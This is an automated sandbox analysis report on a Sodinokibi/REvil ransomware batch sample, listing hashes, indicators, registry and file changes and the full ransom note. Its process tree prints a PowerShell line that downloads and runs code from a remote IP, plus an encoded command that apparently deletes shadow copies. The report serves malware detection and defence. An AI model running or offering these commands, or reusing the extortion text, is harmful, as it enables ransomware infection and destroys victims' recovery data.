Analysis
- max time kernel
141s - max time network
158s - platform
windows7_x64 - resource
win7v200430 - submitted
16/07/2020, 05:10
Static task
static1
Behavioral task
behavioral1
Sample
594f735f38e39066e0ea5392e1a93dba.bat
Resource
win7v200430
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
594f735f38e39066e0ea5392e1a93dba.bat
Resource
win10
windows10_x64
0 signatures
0 seconds
General
- Target 594f735f38e39066e0ea5392e1a93dba.bat
- Size 219B
- Sample200716-mrmdxe7k22
- SHA256 4df4f51379a5fdc56671e999a52ac96c8b4fd0194a2af6f602bc7fc20825ea1a
- MD5 2dcb6e0063636fed2c26c0b88d389592
- SHA1 001718f5ec05cecbdd87d1950fb13fa8e8b1c93f
- SHA512 a3157d8ad3f0a88b822774239cdfb1ea7e15fcd89b8061310656239ff64a0480f1ef9a8d70fee76e759de63cb31eeb29f175518776a93c7951f90228abdb4644
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
ps1.dropper
http://185.103.242.78/pastes/594f735f38e39066e0ea5392e1a93dba
Extracted
Path
-
C:\bil00860m0-readme.txt
-
sodinokibi
Ransom Note
- ---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension bil00860m0. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practice - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C959B15DE75CD3E0 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/C959B15DE75CD3E0 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 3tPoSMtQXzvmkUFRLmPf2MT3CpPcrHyEZitdcDYezvR3kdIQDrEqkM6gVW5s2W1I wZ0yCJIVwHF0tJ9+WvkaEEi0zPrcstefIBypTeTfuJKzehAWJ4uck3b6FPGnmnrd 0qLzZumTdwBBBlv7q/va6Vqu0x6xAtsD6gCU4LERMZpwYLJNZhqutCsMmO55z5PI zkOV3zQI4MgqkZjSMSPkOLobuu33BbJ7/Uj9kFGeYo7AjBwgslyFCLEWIYw2PE6H moN4Gno7yxTvgby9om+jQtuhbXr64M6vS/WBhSbO3UMsKGQO8Kk7D13eJ5ksiS0S EVPPozf2w1LXzlgg5ZQinm7us/cflitH/ZmA6/Zbo+Lx1zy/hUiIqIZYJbQhklNe bs91v2sAsHaCerPFC7SStTbGibQo2foMFnazQIFmJo2OXgUM7bXyxjID1z4Uy7h8 wlv1OaRVJwfDcwKA7Ul/xWldv65IYtsSyPr48c+Za1ijBFpqhTNOf6Wro0PErxkW zNzCMAokuVPczqdxI0m/Rw62IJSOIbukauIoy4nrKeEPKwR4jwNju5YdutOmjNul 8QgDX4WUyga9vs4AyOVEdgDg8OolqS7ID/mJGcPCatDGWXuo0pK+wkyPcoMb9si5 Vq0JiEpYGG6R56IoscpfC3Qzd6J0XS/Xg5pPBwdgrkTawhK7D9QyciRJ2S/8S7ZY 2PtS/ZASj3If3aUnz4Md7a6/etPijVwLLBTPdqnOuhEe0oFWwl46yuf0+2sRgVUO fXuWjjOpC0PuoSNj9vebrX8pzj5OjI62BYmMJ5QkxD/HRbLaBPnVodiv4/bduyR2 Sp6QWooYbxOkF9QNHcd85DdfoLXOxdCIRwFe8kZdeTCmFS4wkxhxI07dsytrnyUk ThbrNCDfG72egG4oKRx0j/pS0l+1nZz5xs4OZ8FaBTIk56NNfTA4Rulmt0Xp1GeR piwqAamq8CTMRTVQNn4khCDDGavTHv/KWvSAmBWEpI4bK3c59Vr2v50iQobiu4fw uBiN2+YaHUQ+OsRlW/D3pXZg5tjf8Uk0rrsOfaOXho9BB1XJ2kh/EaAnogeYl2PG C+K+65ruswVd4HxWj6pzQw7LSxx1VvJiADyGERV95OnJZhiI+nyGvWNl84AionIg eRiBmupoIAL/V/xvqPaN6hfAygupKrLuwU9UeQtAxlZvMwj23HMKLlch2jgwc52u LT2ZPEz/Hseu0KcAzC357/IyUZZ07rzoKrZCkAshklufUrSDf17cjx9k9yhUAArN ZVubMK9CgNA7xWZ0a2Ei004lKiHc5mG7LJo3RZilxKu7L1rewemD9w== ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damage of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs
-
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/C959B15DE75CD3E0
-
http://decryptor.cc/C959B15DE75CD3E0
Signatures
- Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 1068 wrote to memory of 1424 1068 cmd.exe 25 PID 1068 wrote to memory of 1424 1068 cmd.exe 25 PID 1068 wrote to memory of 1424 1068 cmd.exe 25 PID 1068 wrote to memory of 1424 1068 cmd.exe 25 PID 1424 wrote to memory of 1052 1424 powershell.exe 26 PID 1424 wrote to memory of 1052 1424 powershell.exe 26 PID 1424 wrote to memory of 1052 1424 powershell.exe 26 PID 1424 wrote to memory of 1052 1424 powershell.exe 26 - Suspicious use of AdjustPrivilegeToken 7 IoCs
description pid Process Token: SeDebugPrivilege 1424 powershell.exe Token: SeDebugPrivilege 1424 powershell.exe Token: SeDebugPrivilege 1052 powershell.exe Token: SeBackupPrivilege 1784 vssvc.exe Token: SeRestorePrivilege 1784 vssvc.exe Token: SeAuditPrivilege 1784 vssvc.exe Token: SeTakeOwnershipPrivilege 1424 powershell.exe - Drops file in Program Files directory 29 IoCs
description ioc Process File opened for modification \??\c:\program files\ClearUnpublish.vstx powershell.exe File opened for modification \??\c:\program files\InitializeWatch.dib powershell.exe File created \??\c:\program files\microsoft sql server compact edition\bil00860m0-readme.txt powershell.exe File opened for modification \??\c:\program files\ResolveUnblock.mp2v powershell.exe File opened for modification \??\c:\program files\SelectTrace.ppsm powershell.exe File created \??\c:\program files\microsoft sql server compact edition\v3.5\desktop\bil00860m0-readme.txt powershell.exe File created \??\c:\program files (x86)\bil00860m0-readme.txt powershell.exe File opened for modification \??\c:\program files\RequestUnprotect.xls powershell.exe File opened for modification \??\c:\program files\SavePublish.aif powershell.exe File opened for modification \??\c:\program files\StartRegister.wps powershell.exe File opened for modification \??\c:\program files\UseSave.docx powershell.exe File created \??\c:\program files\microsoft sql server compact edition\v3.5\bil00860m0-readme.txt powershell.exe File opened for modification \??\c:\program files\ConnectAdd.docx powershell.exe File opened for modification \??\c:\program files\ExpandAdd.jfif powershell.exe File opened for modification \??\c:\program files\GrantLimit.sql powershell.exe File opened for modification \??\c:\program files\WaitResize.xlsm powershell.exe File opened for modification \??\c:\program files\DebugPublish.wvx powershell.exe File opened for modification \??\c:\program files\UseSplit.js powershell.exe File opened for modification \??\c:\program files\RestartGroup.bmp powershell.exe File opened for modification \??\c:\program files\RestoreSet.M2V powershell.exe File opened for modification \??\c:\program files\UnlockOptimize.vsw powershell.exe File opened for modification \??\c:\program files\DenySwitch.potm powershell.exe File opened for modification \??\c:\program files\EnableSave.html powershell.exe File opened for modification \??\c:\program files\NewDismount.DVR-MS powershell.exe File opened for modification \??\c:\program files\PublishSend.php powershell.exe File opened for modification \??\c:\program files\PushSwitch.mov powershell.exe File created \??\c:\program files\bil00860m0-readme.txt powershell.exe File opened for modification \??\c:\program files\NewUnregister.html powershell.exe File opened for modification \??\c:\program files\UninstallLimit.mov powershell.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\CatRoot2\dberr.txt powershell.exe -
description ioc Process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 430000000100000000000000040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d1900000001000000100000006cf252fec3e8f20996de5d4dd9aef424030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131d00000001000000100000004558d512eecb27464920897de7b66053140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc41560858910090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000001e000000440053005400200052006f006f007400200043004100200058003300000020000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349 powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d578112861900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b06010505070308200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e powershell.exe Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\SystemCertificates\CA\Certificates\D89E3BD43D5D909B47A18977AA9D5CE36CEE184C powershell.exe Set value (data) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\SystemCertificates\CA\Certificates\D89E3BD43D5D909B47A18977AA9D5CE36CEE184C\Blob = 030000000100000014000000d89e3bd43d5d909b47a18977aa9d5ce36cee184c190000000100000010000000ea6089055218053dd01e37e1d806eedf040000000100000010000000285ec909c4ab0d2d57f5086b225799aa0f000000010000003000000013baa039635f1c5292a8c2f36aae7e1d25c025202e9092f5b0f53f5f752dfa9c71b3d1b8d9a6358fcee6ec75622fabf91400000001000000140000005379bf5aaa2b4acf5480e1d89bc09df2b20366cb1800000001000000100000002aa1c05e2ae606f198c2c5e937c97aa22000000001000000850500003082058130820469a00302010202103972443af922b751d7d36c10dd313595300d06092a864886f70d01010c0500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3139303331323030303030305a170d3238313233313233353935395a308188310b3009060355040613025553311330110603550408130a4e6577204a6572736579311430120603550407130b4a65727365792043697479311e301c060355040a131554686520555345525452555354204e6574776f726b312e302c06035504031325555345525472757374205253412043657274696669636174696f6e20417574686f7269747930820222300d06092a864886f70d01010105000382020f003082020a028202010080126517360ec3db08b3d0ac570d76edcd27d34cad508361e2aa204d092d6409dcce899fcc3da9ecf6cfc1dcf1d3b1d67b3728112b47da39c6bc3a19b45fa6bd7d9da36342b676f2a93b2b91f8e26fd0ec162090093ee2e874c918b491d46264db7fa306f188186a90223cbcfe13f087147bf6e41f8ed4e451c61167460851cb8614543fbc33fe7e6c9cff169d18bd518e35a6a766c87267db2166b1d49b7803c0503ae8ccf0dcbc9e4cfeaf0596351f575ab7ffcef93db72cb6f654ddc8e7123a4dae4c8ab75c9ab4b7203dca7f2234ae7e3b68660144e7014e46539b3360f794be5337907343f332c353efdbaafe744e69c76b8c6093dec4c70cdfe132aecc933b517895678bee3d56fe0cd0690f1b0ff325266b336df76e47fa7343e57e0ea566b1297c3284635589c40dc19354301913acd37d37a7eb5d3a6c355cdb41d712daa9490bdfd8808a0993628eb566cf2588cd84b8b13fa4390fd9029eeb124c957cf36b05a95e1683ccb867e2e8139dcc5b82d34cb3ed5bffdee573ac233b2d00bf3555740949d849581a7f9236e651920ef3267d1c4d17bcc9ec4326d0bf415f40a94444f499e757879e501f5754a83efd74632fb1506509e658422e431a4cb4f0254759fa041e93d426464a5081b2debe78b7fc6715e1c957841e0f63d6e962bad65f552eea5cc62808042539b80e2ba9f24c971c073f0d52f5edef2f820f0203010001a381f23081ef301f0603551d23041830168014a0110a233e96f107ece2af29ef82a57fd030a4b4301d0603551d0e041604145379bf5aaa2b4acf5480e1d89bc09df2b20366cb300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff30110603551d20040a300830060604551d200030430603551d1f043c303a3038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c303406082b0601050507010104283026302406082b060105050730018618687474703a2f2f6f6373702e636f6d6f646f63612e636f6d300d06092a864886f70d01010c05000382010100188751dc74213d9c8ae027b733d02eccecf0e6cb5e11de226f9b758e9e72fee4d6feaa1f9c962def034a7eaef48d6f723c433bc03febb8df5caaa9c6aef2fcd8eea37b43f686367c14e0cdf4f73ffedeb8b48af09196fefd43647efdccd201a17d7df81919c9422b13bf588bbaa4a266047688914e0c8914cea24dc932b3bae8141abc71f15bf0410b98000a220310e50cb1f9cd923719ed3bf1e43ab6f945132675afbbaaef3f7b773bd2c402913d1900d3175c39db3f7b180d45cd9385962f5ddf59164f3f51bdd545183fed4a8ee80661742316b50d50732744477f105d892a6b853114c4e8a96a4c80bc6a78cfb87f8e7672990c9dfed7910816a1a35f95 powershell.exe Key created \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\SystemCertificates\CA\Certificates\E6A3B45B062D509B3382282D196EFE97D5956CCB powershell.exe Set value (data) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Software\Microsoft\SystemCertificates\CA\Certificates\E6A3B45B062D509B3382282D196EFE97D5956CCB\Blob = 030000000100000014000000e6a3b45b062d509b3382282d196efe97d5956ccb140000000100000014000000a84a6a63047dddbae6d139b7a64565eff3a8eca1040000000100000010000000b15409274f54ad8f023d3b85a5ecec5d0f00000001000000200000003e1a1a0f6c53f3e97a492d57084b5b9807059ee057ab1505876fd83fda3db8381900000001000000100000007ea7d53d76b46eea695a589c2bdbfdc61800000001000000100000006cf252fec3e8f20996de5d4dd9aef424200000000100000096040000308204923082037aa00302010202100a0141420000015385736a0b85eca708300d06092a864886f70d01010b0500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3136303331373136343034365a170d3231303331373136343034365a304a310b300906035504061302555331163014060355040a130d4c6574277320456e6372797074312330210603550403131a4c6574277320456e637279707420417574686f7269747920583330820122300d06092a864886f70d01010105000382010f003082010a02820101009cd30cf05ae52e47b7725d3783b3686330ead735261925e1bdbe35f170922fb7b84b4105aba99e350858ecb12ac468870ba3e375e4e6f3a76271ba7981601fd7919a9ff3d0786771c8690e9591cffee699e9603c48cc7eca4d7712249d471b5aebb9ec1e37001c9cac7ba705eace4aebbd41e53698b9cbfd6d3c9668df232a42900c867467c87fa59ab8526114133f65e98287cbdbfa0e56f68689f3853f9786afb0dc1aef6b0d95167dc42ba065b299043675806bac4af31b9049782fa2964f2a20252904c674c0d031cd8f31389516baa833b843f1b11fc3307fa27931133d2d36f8e3fcf2336ab93931c5afc48d0d1d641633aafa8429b6d40bc0d87dc3930203010001a382017d3082017930120603551d130101ff040830060101ff020100300e0603551d0f0101ff040403020186307f06082b0601050507010104733071303206082b060105050730018626687474703a2f2f697372672e747275737469642e6f6373702e6964656e74727573742e636f6d303b06082b06010505073002862f687474703a2f2f617070732e6964656e74727573742e636f6d2f726f6f74732f647374726f6f74636178332e703763301f0603551d23041830168014c4a7b1a47b2c71fadbe14b9075ffc4156085891030540603551d20044d304b3008060667810c010201303f060b2b0601040182df130101013030302e06082b060105050702011622687474703a2f2f6370732e726f6f742d78312e6c657473656e63727970742e6f7267303c0603551d1f043530333031a02fa02d862b687474703a2f2f63726c2e6964656e74727573742e636f6d2f445354524f4f544341583343524c2e63726c301d0603551d0e04160414a84a6a63047dddbae6d139b7a64565eff3a8eca1300d06092a864886f70d01010b05000382010100dd33d711f3635838dd1815fb0955be7656b97048a56947277bc2240892f15a1f4a1229372474511c6268b8cd957067e5f7a4bc4e2851cd9be8ae879dead8ba5aa1019adcf0dd6a1d6ad83e57239ea61e04629affd705cab71f3fc00a48bc94b0b66562e0c154e5a32aad20c4e9e6bbdcc8f6b5c332a398cc77a8e67965072bcb28fe3a165281ce520c2e5f83e8d50633fb776cce40ea329e1f925c41c1746c5b5d0a5f33cc4d9fac38f02f7b2c629dd9a3916f251b2f90b119463df67e1ba67a87b9a37a6d18fa25a5918715e0f2162f58b0062f2c6826c64b98cdda9f0cf97f90ed434a12444e6f737a28eaa4aa6e7b4c7d87dde0c90244a787afc3345bb442 powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 powershell.exe - Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
- Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
pid Process 1424 powershell.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 1424 powershell.exe 1424 powershell.exe 1424 powershell.exe 1052 powershell.exe 1052 powershell.exe - Blacklisted process makes network request 192 IoCs
flow pid Process 3 1424 powershell.exe 5 1424 powershell.exe 7 1424 powershell.exe 9 1424 powershell.exe 10 1424 powershell.exe 11 1424 powershell.exe 13 1424 powershell.exe 17 1424 powershell.exe 18 1424 powershell.exe 20 1424 powershell.exe 21 1424 powershell.exe 23 1424 powershell.exe 24 1424 powershell.exe 26 1424 powershell.exe 28 1424 powershell.exe 30 1424 powershell.exe 32 1424 powershell.exe 34 1424 powershell.exe 35 1424 powershell.exe 37 1424 powershell.exe 39 1424 powershell.exe 41 1424 powershell.exe 43 1424 powershell.exe 45 1424 powershell.exe 46 1424 powershell.exe 48 1424 powershell.exe 49 1424 powershell.exe 51 1424 powershell.exe 53 1424 powershell.exe 54 1424 powershell.exe 56 1424 powershell.exe 59 1424 powershell.exe 60 1424 powershell.exe 62 1424 powershell.exe 64 1424 powershell.exe 66 1424 powershell.exe 67 1424 powershell.exe 69 1424 powershell.exe 70 1424 powershell.exe 72 1424 powershell.exe 74 1424 powershell.exe 76 1424 powershell.exe 77 1424 powershell.exe 79 1424 powershell.exe 81 1424 powershell.exe 82 1424 powershell.exe 84 1424 powershell.exe 85 1424 powershell.exe 87 1424 powershell.exe 89 1424 powershell.exe 91 1424 powershell.exe 93 1424 powershell.exe 95 1424 powershell.exe 96 1424 powershell.exe 98 1424 powershell.exe 100 1424 powershell.exe 102 1424 powershell.exe 103 1424 powershell.exe 105 1424 powershell.exe 106 1424 powershell.exe 108 1424 powershell.exe 110 1424 powershell.exe 111 1424 powershell.exe 113 1424 powershell.exe 115 1424 powershell.exe 116 1424 powershell.exe 118 1424 powershell.exe 119 1424 powershell.exe 121 1424 powershell.exe 123 1424 powershell.exe 125 1424 powershell.exe 126 1424 powershell.exe 128 1424 powershell.exe 129 1424 powershell.exe 131 1424 powershell.exe 133 1424 powershell.exe 135 1424 powershell.exe 137 1424 powershell.exe 140 1424 powershell.exe 142 1424 powershell.exe 145 1424 powershell.exe 148 1424 powershell.exe 150 1424 powershell.exe 151 1424 powershell.exe 153 1424 powershell.exe 155 1424 powershell.exe 157 1424 powershell.exe 158 1424 powershell.exe 160 1424 powershell.exe 162 1424 powershell.exe 163 1424 powershell.exe 165 1424 powershell.exe 166 1424 powershell.exe 168 1424 powershell.exe 169 1424 powershell.exe 171 1424 powershell.exe 173 1424 powershell.exe 175 1424 powershell.exe 176 1424 powershell.exe 178 1424 powershell.exe 179 1424 powershell.exe 181 1424 powershell.exe 182 1424 powershell.exe 184 1424 powershell.exe 186 1424 powershell.exe 187 1424 powershell.exe 191 1424 powershell.exe 193 1424 powershell.exe 194 1424 powershell.exe 196 1424 powershell.exe 198 1424 powershell.exe 200 1424 powershell.exe 201 1424 powershell.exe 203 1424 powershell.exe 205 1424 powershell.exe 206 1424 powershell.exe 208 1424 powershell.exe 209 1424 powershell.exe 211 1424 powershell.exe 212 1424 powershell.exe 214 1424 powershell.exe 216 1424 powershell.exe 218 1424 powershell.exe 220 1424 powershell.exe 221 1424 powershell.exe 223 1424 powershell.exe 224 1424 powershell.exe 226 1424 powershell.exe 227 1424 powershell.exe 229 1424 powershell.exe 230 1424 powershell.exe 232 1424 powershell.exe 234 1424 powershell.exe 235 1424 powershell.exe 237 1424 powershell.exe 238 1424 powershell.exe 240 1424 powershell.exe 242 1424 powershell.exe 243 1424 powershell.exe 245 1424 powershell.exe 246 1424 powershell.exe 248 1424 powershell.exe 249 1424 powershell.exe 251 1424 powershell.exe 252 1424 powershell.exe 254 1424 powershell.exe 255 1424 powershell.exe 257 1424 powershell.exe 258 1424 powershell.exe 260 1424 powershell.exe 261 1424 powershell.exe 263 1424 powershell.exe 264 1424 powershell.exe 266 1424 powershell.exe 267 1424 powershell.exe 269 1424 powershell.exe 271 1424 powershell.exe 273 1424 powershell.exe 275 1424 powershell.exe 276 1424 powershell.exe 278 1424 powershell.exe 280 1424 powershell.exe 282 1424 powershell.exe 284 1424 powershell.exe 286 1424 powershell.exe 288 1424 powershell.exe 290 1424 powershell.exe 292 1424 powershell.exe 293 1424 powershell.exe 295 1424 powershell.exe 297 1424 powershell.exe 299 1424 powershell.exe 300 1424 powershell.exe 302 1424 powershell.exe 304 1424 powershell.exe 306 1424 powershell.exe 308 1424 powershell.exe 310 1424 powershell.exe 312 1424 powershell.exe 314 1424 powershell.exe 316 1424 powershell.exe 317 1424 powershell.exe 319 1424 powershell.exe 320 1424 powershell.exe 322 1424 powershell.exe 324 1424 powershell.exe 327 1424 powershell.exe 329 1424 powershell.exe 330 1424 powershell.exe 332 1424 powershell.exe 333 1424 powershell.exe 336 1424 powershell.exe - Modifies service 2 TTPs 4 IoCs
description ioc Process Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer vssvc.exe Key created \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer vssvc.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-910373003-3952921535-3480519689-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\095r78uw.bmp" powershell.exe - Enumerates connected drives 3 TTPs
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\594f735f38e39066e0ea5392e1a93dba.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1068 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "IEX (New-Object System.Net.WebClient).DownloadString('http://185.103.242.78/pastes/594f735f38e39066e0ea5392e1a93dba');Invoke-SWAGNDKFQZBV;Start-Sleep -s 10000"2⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Drops file in Program Files directory
- Drops file in System32 directory
- Modifies system certificate store
- Suspicious behavior: CmdExeWriteProcessMemorySpam
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Sets desktop wallpaper using registry
PID:1424 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==3⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:1052
-
-
-
C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
- Modifies service
PID:1784